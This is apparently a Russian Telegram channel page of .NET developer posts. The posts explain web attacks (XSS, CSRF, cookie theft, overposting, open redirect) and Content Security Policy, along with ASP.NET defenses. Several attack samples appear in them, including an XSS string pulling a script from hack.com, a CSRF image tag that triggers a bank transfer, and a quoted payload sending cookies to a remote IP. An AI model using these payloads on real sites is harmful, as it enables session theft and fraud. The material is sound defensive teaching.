.NET Разработчик
6.54K subscribers
442 photos
3 videos
14 files
2.12K links
Дневник сертифицированного .NET разработчика. Заметки, советы, новости из мира .NET и C#.

Для связи: @SBenzenko

Поддержать канал:
- https://boosty.to/netdeveloperdiary
- https://patreon.com/user?u=52551826
- https://pay.cloudtips.ru/p/70df3b3b
Download Telegram
День триста девяностый. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
Когда ваше веб-приложение открыто для публичных пользователей, оно уязвимо для различных атак. Поскольку веб-приложения работают по стандартным текстовым протоколам, таким как HTTP и HTML, они также особенно уязвимы для автоматических атак ботами. В этой серии постов мы рассмотрим некоторые атаки на веб-приложения, с которыми вы можете столкнуться.

1. Cross-Site Scripting (XSS)
Это одна из наиболее популярных атак на веб-приложения. Она может быть выполнена двумя способами:
- Пассивным. XSS выполняется путем введения кода скрипта на сайт, который принимает пользовательский ввод. Многие формы позволяют пользователю указать адрес персональной веб-страницы. А разработчики часто ленятся проверять валидность введённого URL, поскольку это нетривиальная задача, и выводят отправленное пользователем значение, как есть, в код вроде этого: <a href="…URL…">…</a>
Очевидно, что отправка атакующим строки вроде
"></a><script src="http://hack.com/trojan.js"></script> <a href="
приведёт к тому, что в страницу будет включён скрипт с вредоносным кодом, который будет выполнен для каждого посетителя страницы. Внешний вид страницы при этом не меняется.

- Активное внедрение XSS вовлекает жертву в атаку непосредственно. Оно подразумевает отправку пользователем вредоносной информации, которая отображается на странице и не сохраняется в базе данных сайта. Как это происходит? Многие сайты имеют возможность поиска по сайту и отображают в заголовке поиска строку, вроде:
По запросу 'текст запроса' найдено X результатов.
Уязвимость заключается в том, что 'текст запроса', введённый пользователем, не кодируется и позволяет вывести HTML код. Кроме того, этот текст сохраняется в URL запроса. Тогда атакующий с помощью нескольких манипуляций может вставить в URL форму входа в систему, требующую от жертвы логина и пароля для продолжения. А дальше в ход идёт социальная инженерия. Жертве отправляется эта длинная ссылка (на вполне безобидный сайт) с текстом вроде: «Тут твои фотки с вечеринки. Только введи свой пароль, я их закрыл от чужих глаз.» Удивительно, сколько людей до сих пор ведутся на такое. И хотя это нельзя назвать атакой непосредственно на ваш сайт, она может подорвать доверие пользователей к вашему сайту.

Главное правило. Никогда, никогда не доверяйте никаким данным, которых пользователь хоть как-то может касаться: значения форм, URL-адреса, cookie или личные данные, полученные из сторонних источников, таких как OpenID. Базы данных или службы, к которым обращается ваш сайт, также могут быть скомпрометированы. Все входные данные для вашего приложения, являются подозрительными.

Предотвращение XSS
1. Кодирование HTML. В большинстве случаев вы можете избежать XSS, используя простую кодировку HTML - процесс, с помощью которого сервер заменяет зарезервированные символы HTML (например, < и >) их кодами. В представлении MVC можно использовать Html.Encode или Html.AttributeEncode для значений атрибутов. Использование помощников Html также кодирует содержимое и значения атрибутов для каждого тега.
2. Url.Encode. Чтобы должным образом обезопасить ссылки (как из примера с пассивным XSS), можно использовать Url.Encode.
3. Кодирование JavaScript. Если вы используете данные, полученные от пользователя внутри кода JavaScript, HTML кодирование не спасёт. Есть два решения этой проблемы: использование вспомогательной функции Ajax.JavaScriptStringEncode, либо библиотеки AntiXSS.
Библиотека AntiXSS может добавить дополнительный уровень безопасности:
- AntiXSS использует белый список разрешённых символов (ASP.NET по умолчанию использует ограниченный чёрный список запрещённых символов).
- AntiXSS сосредоточена ​​на предотвращении уязвимостей в ваших приложениях кодировка, а кодирование в ASP.NET в первую очередь направлено ​​на предотвращение проблем с отображением из-за «сломанного» HTML.

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
👍1
День триста девяносто девятый. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
2. Cross-Site Request Forgery (CSRF)
Подделка межсайтовых запросов (CSRF или XSRF) немного более сложная, чем XSS. Рассмотрим случай XSS + Confused Deputy. Проблема Confused Deputy заключается в подозрительном доверии приложений к принимаемым данным. Атаке подвергается ваш браузер, которого обманом заставляют представлять вас на удалённом веб-сайте.
Например, вы обнаружили уязвимость для XSS на «Популярном Сайте». Кроме того, допустим, что один «Крупный Банк» предлагает простой способ перевода денег онлайн с указанием параметров в URL:
https://bank.example.com?function=transfer&amount=1000&toaccount=23234554333&from=checking
Это может показаться чрезвычайно глупым. Какой банк в здравом уме так сделает? К сожалению, ответ на этот вопрос: «тысячи их» (с). Причина довольно проста: веб-разработчики слишком сильно доверяют браузеру, а публичность URL-адреса основана на том, что запрос может выполняться «скрыто» через AJAX, а сервер будет проверять личность пользователя, используя информацию из cookie-файла сеанса.

Дальше немного социальной инженерии. Вы заходите на «Популярный Сайт» и оставляете пост:
Эй, а знаете ли вы, что у клиентов «Крупного Банка» сумма цифр номера счета равняется 30? Смотрите сами: https://bank.example.com
Затем вы входите под другим аккаунтом, оставляя комментарий вроде:
Фигасе, ты прав! Как странно! <img src="https://bank.example.com?function=transfer&amount=1000&toaccount=23234554333&from=checking" />.

Штука в том, чтобы заставить клиентов «Крупного Банка» войти в аккаунт и попытаться сложить цифры счёта. Когда они увидят, что это не работает, они возвращаются на «Популярный Сайт», чтобы снова прочитать пост или оставить гневный комментарий. К сожалению для «идеальной жертвы», её браузер все ещё хранит сеанс входа в онлайн-банк. Когда она попадает на страницу с атакой CSRF, запрос отправляется на веб-сайт банка (где личность жертвы установлена), и вуаля! - жертва лишилась денег.
Изображение в комментарии (со ссылкой CSRF) не будет отображено, и большинство людей будут думать, что это просто плохой аватар или смайлик. Но на самом деле, это удалённый вызов страницы.
Другой вариант: попытаться завлечь пользователя на страницу, внутри которой будет скрытый iframe, выполняющий аналогичный удалённый вызов (в том числе POST).

Предотвращение атак CSRF
1. Проверка токенов
Заключается в проверке того, что пользователь, отправивший данные на ваш сайт, сделал это добровольно. Самый простой способ сделать это – добавить скрытое поле с уникальным значением. Вы можете сделать это с помощью HTML помощника:
@Html.AntiForgeryToken()
Это добавит скрытое поле:
<input type="hidden" value="012837udny31w90hjhf7u" />
То же значение сохраняется в сессии и проверяется в методе обработки формы с помощью фильтра метода действия:
[ValidateAntiforgeryToken]
public ActionResult Register(…)

2. Идемпотентный GET
Вы можете предотвратить целый класс CSRF-атак, ограничив изменения на вашем сайте только запросами POST. Это включает регистрацию, вход/выход из системы и т.п. Подробнее о методах GET и POST.

3. Проверка HttpReferrer
Проверку HttpReferrer также можно реализовать с помощью создания фильтра метода действия:
public class IsPostedFromThisSiteAttribute : AuthorizeAttribute {
public override void OnAuthorize(AuthorizationContext filterContext) {
if (filterContext.HttpContext != null) {
if (filterContext.HttpContext.Request.UrlReferrer == null)
throw new System.Web.HttpException("Неверная отправка");
if (filterContext.HttpContext.Request.UrlReferrer.Host != "mysite.com")
throw new System.Web.HttpException("Форма отправлена не с этого сайта!");
}
}
}
Использование:
[IsPostedFromThisSite]
public ActionResult Register(…)

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День не найден. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
3. Кража куков
Куки-файлы - это одна из вещей, которые делают Интернет пригодным для использования, так как большинство сайтов используют их для идентификации пользователей после того, как те вошли в систему. Если злоумышленники смогут украсть ваши куки, они cмогут выдавать себя за вас.
Как пользователь, вы можете отключить куки в своём браузере, но есть вероятность, что после этого вы не сможете авторизоваться на сайте, а получите сообщение вроде «Куки должны быть включены для доступа к этому сайту».

Веб-сайты используют куки для хранения информации между запросами страниц или сеансами. Часть этой информации довольно банальная, вроде настроек сайта, другая же часть может содержать информацию для идентификации вас между запросами. Существует два типа куков:
- Сеансовые хранятся в памяти браузера и удаляются после окончания сеанса.
- Постоянные хранятся в текстовых файлах до предустановленного срока истечения, и сайт будет помнить вас при следующем посещении.

Если вам удастся украсть чей-то файл куки, используемый для аутентификации на веб-сайте, вы сможете успешно войти на сайт как этот человек и выполнить все действия, которые ему доступны. Этот вид атаки на самом деле очень прост, он основан на уязвимости XSS. Злоумышленник должен иметь возможность вставить небольшой скрипт на целевой сайт. Джефф Этвуд из CodingHorror написал об этой проблеме, когда StackOverflow проходил бета-тестирование.
Всё началось с того, что на страницу профиля пользователя был добавлен скрипт:
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
StackOverflow допускает некоторый HTML код в комментариях, что очень соблазнительно для проведения XSS атаки. Пример, который Джефф описал в своём блоге, является прекрасной иллюстрацией того, как злоумышленник может внедрить сценарий в невинный код, такой ​​как добавление скриншота.

Проблемой в этом случае была самописная проверка HTML кода. Злоумышленник использовал дыру в ней, и, благодаря такой хитрой конструкции, код со скриптом прошёл проверку. При отображении страницы браузер загружал внешний скрипт с вот таким кодом JavaScript:
window.location="http://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;
Каждый, кто загружал эту страницу, невольно передавал свои куки на удалённый сервер! За короткое время злоумышленнику удалось украсть куки пользователей StackOverflow, а в конечном итоге и Джеффа. Это позволило ему войти в систему, подтвердить личность Джеффа на сайте (который, к счастью, тогда ещё находился в бета-версии) и делать всё, что ему хотелось.

Предотвращение кражи куков с помощью HttpOnly
Вы можете предотвратить доступ скриптов к кукам на вашем сайте, добавив флаг HttpOnly. Установить этот флаг можно в файле web.config:
<httpCookies domain="" httpOnlyCookies="true" requireSSL="false" />
Либо отдельно для каждой куки:
Response.Cookies["MyCookie"].Value="Remembering you…";
Response.Cookies["MyCookie"].HttpOnly=true;
Установка этого флага говорит браузеру, что нужно сделать куки недействительным, если что-то, кроме сервера, устанавливает или изменяет его. Этот метод довольно прост, и он предотвращает большинство проблем с куками. Поскольку доступ к кукам через скрипты требуется редко, эту функцию следует использовать почти всегда.

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День четыреста девятнадцатый. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
4. Оверпостинг
Привязка модели ASP.NET MVC - это мощная функция, которая значительно упрощает процесс обработки пользовательского ввода, автоматически сопоставляя входные данные со свойствами модели на основе соглашений об именовании. Однако она открывает ещё один вектор атаки, позволяющий злоумышленнику заполнить свойства модели, которые вы не указывали в форме ввода. Допустим, мы создаём систему отзывов о товарах магазина:
public class Review {
public int ReviewID { get; set; } // Первичный ключ
public int ProductID { get; set; } // Внешний ключ
public Product Product { get; set; } // Внешняя сущность
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
У нас есть простая форма с двумя полями, доступными для пользователя Name и Comment:
Name: @Html.TextBox("Name") <br />
Comment: @Html.TextBox("Comment")

Несмотря на то, что в форме открыты только имя и комментарий, злонамеренный пользователь может легко вмешаться в отправляемые данные формы, используя инструменты веб-разработчика, добавив «Approved=true» в строку запроса или POST-данные формы. Связыватель модели не знает, какие поля вы включили в форму, и установит для свойства Approved значение true.

Атака оверпостингом использует общую для MVC веб-сред функцию. В марте 2012 года такой атаке подвергся GitHub.com. Атакующий создал новый открытый ключ администратора и вручную добавил его в скрытое поле формы. После отправки формы он получал административные привилегии.

Предотвращение оверпостинга
1. Самый простой способ предотвратить атаку оверпостингом - использовать атрибут BindAttribute, чтобы явно контролировать, какие свойства должны получать значения через связыватель модели. Можно использовать либо белый список:
[Bind(Include="Name, Comment")]
либо чёрный
[Bind(Exclude="ReviewID, ProductID, Product, Approved"]
При этом можно разместить BindAttribute либо в классе модели, либо в списке параметров метода действия контроллера.

2. Можно использовать одну из перегрузок UpdateModel или TryUpdateModel, которая принимает список полей для привязки:
UpdateModel(review, "Review", new string[] { "Name", "Comment" });

3. Возможно, лучший способ справиться с оверпостингом - это избегать привязки непосредственно к модели данных. Это можно сделать, используя модель представления, содержащую только те свойства, которые пользователю разрешено устанавливать:
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}
Привязка к модели представления намного надёжнее привязки к модели данных. Вместо того, чтобы помнить о включении новых полей в белый или черный списки, в подходе с моделью представления единственный способ использовать привязку к свойству - это включить его в модель представления.

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День четыреста двадцать шестой. #АтакиНаСайты
ASP.NET MVC 5. Безопасность Веб-Приложений
5. Открытое перенаправление
Любое веб-приложение, которое перенаправляет на URL-адрес, указанный в запросе, например, в строке запроса или в данных формы, потенциально может быть атаковано для перенаправления пользователей на внешний вредоносный URL-адрес. Это называется атакой с открытым перенаправлением. Всякий раз, когда логика вашего приложения перенаправляет на указанный URL-адрес, вы должны убедиться, что URL-адрес перенаправления не был подделан.

Простая атака с открытым перенаправлением
Рассмотрим пример. В веб-приложении при попытке посетить действие контроллера, помеченное атрибутом AuthorizeAttribute, неавторизованный пользователь попадает в представление /Account/LogOn. Это перенаправление на включает параметр строки запроса returnUrl, чтобы пользователи могли вернуться на первоначально запрошенный URL после успешного входа в систему. Поскольку этот параметр не проверяется, злоумышленник может изменить его на любой URL-адрес для проведения атаки с открытым перенаправлением.

Более сложная атака включает элементы фишинга. Подобная атака была проведена на сайт NerdDinner (после этого уязвимость на сайте была исправлена). Сначала злоумышленник отправляет ссылку на страницу входа в NerdDinner, которая включает перенаправление на поддельную страницу:
http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn
Обратите внимание, что обратный URL-адрес указывает на поддельный сайт nerddiner.com, в котором одна «n». Этот домен контролирует злоумышленник. Когда вы проходите по ссылке, вы попадаете на обычную страницу входа на NerdDinner.com. При успешном входе в систему действие LogOn перенаправляет вас на URL-адрес, указанный в параметре строки запроса returnUrl. В данном случае это введённый злоумышленником URL:
http://nerddiner.com/Account/LogOn.
Вы, скорее всего, не заметите этого, особенно потому, что злоумышленник убедился, чтобы его поддельная страница выглядела точно так же, как и страница настоящего сайта. Поддельная страница входа содержит сообщение о неправильном пароле. Пользователь ничего не подозревает и вводит логин и пароль повторно. Поддельная страница сохраняет эту информацию и отправляет вас обратно на настоящий сайт NerdDinner.com. На данный момент сайт NerdDinner.com уже аутентифицировал вас, поэтому поддельная страница входа в систему может безопасно перенаправлять туда. В итоге у злоумышленника есть ваши логин и пароль, а вы даже не знаете, что предоставили их ему.

Предотвращение атаки с открытым перенаправлением
Проверка адреса перенаправления предотвращает такую атаку. В ASP.NET Core также можно использовать действие LocalRedirect. Но, возможно, вы захотите предпринять дополнительные действия при обнаружении открытого перенаправления. Тогда можно проверять адрес перенаправления с помощью метода расширения Url.IsLocalUrl(returnUrl), возвращающего bool. И если адрес не является локальным, например, регистрировать это как исключение безопасности и отображать пользователю сообщение, что ссылка, которую они использовали, могла быть вредоносной.

Источник: Jon Galloway “Professional ASP.NET MVC 5”. – John Wiley & Sons Inc., 2014. Глава 7.
День 1674. #Безопасность
Политика Безопасности Контента. Начало
Политика безопасности контента (Content Security Policy, CSP) представляет собой HTTP-заголовок Content-Security-Policy, который указывает браузерам, откуда загружать (и, в случае JavaScript, исполнять) контент, что может сделать почти невозможным осуществление межсайтового скриптинга. Значение заголовка состоит из директив и связанных значений.

Основная директива default-src предоставляет браузеру список всех действительных источников* или URI ресурсов.

*Источник определяется как следующие три значения:
- схема – http: или https:;
- полностью определённое имя доменаwww.example.com;
- порт – по умолчанию 80 для HTTP или 443 для HTTPS (если используется порт по умолчанию, то обычно он не является частью значения источника).
Если все три части различных источников идентичны, значит они совпадают. Например, у www.example.com и example.com разный источник, поскольку имена доменов не совпадают.

Кроме HTTP-заголовка можно использовать тег <meta>:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
Однако, это не очень удобно, когда значение директивы длинное. Кроме того, не будут работать некоторые функции CSP.

CSP определяет большое количество директив для различных видов ресурсов:
- base-uri – значения или пути, разрешенные для <base href="">;
- child-src - фреймы и веб-воркеры,
- connect-src - запросы HTTP и WebSocket,
- font-src – шрифты,
- form-action – значения для атрибута action элементов <form>;
- img-src – изображения,
- media-src - аудио- и видеофайлы,
- object-src – плагины,
- script-src - код JavaScript,
- style-src - cтили CSS,
и другие.

Специализированные директивы переопределяют значения default-src.

В заголовке директивы разделяются точкой с запятой, а их значения пробелами, например:
default-src 'self'; style-src 'self' https://cdn.jsdelivr.net

Здесь мы разрешаем использовать ресурсы только из того же источника, что и сама страница ('self'), а также разрешаем получать стили из сети доставки контента (CDN). Заметьте, что для style-src также указано значение 'self', чтобы была возможность использовать локальные файлы стилей (т.к. style-src полностью перезаписывает значение default-src).

Для указания источника есть следующие варианты:
- сайт – https://example.com;
- путь – https://example.com/assets/ (завершающий слеш обязателен для указания папки, а не файла с таким именем);
- полный URI – https://example.com/assets/style.css;
- подстановочный знак (*).
Рекомендуется использовать наиболее строгое указание источника, например, не разрешать все ресурсы из сети CDN.

Продолжение следует…

Источник: Кристиан Венц “Безопасность
ASP.NET Core”. М.: ДМК Пресс, 2023. Глава 2.
👍2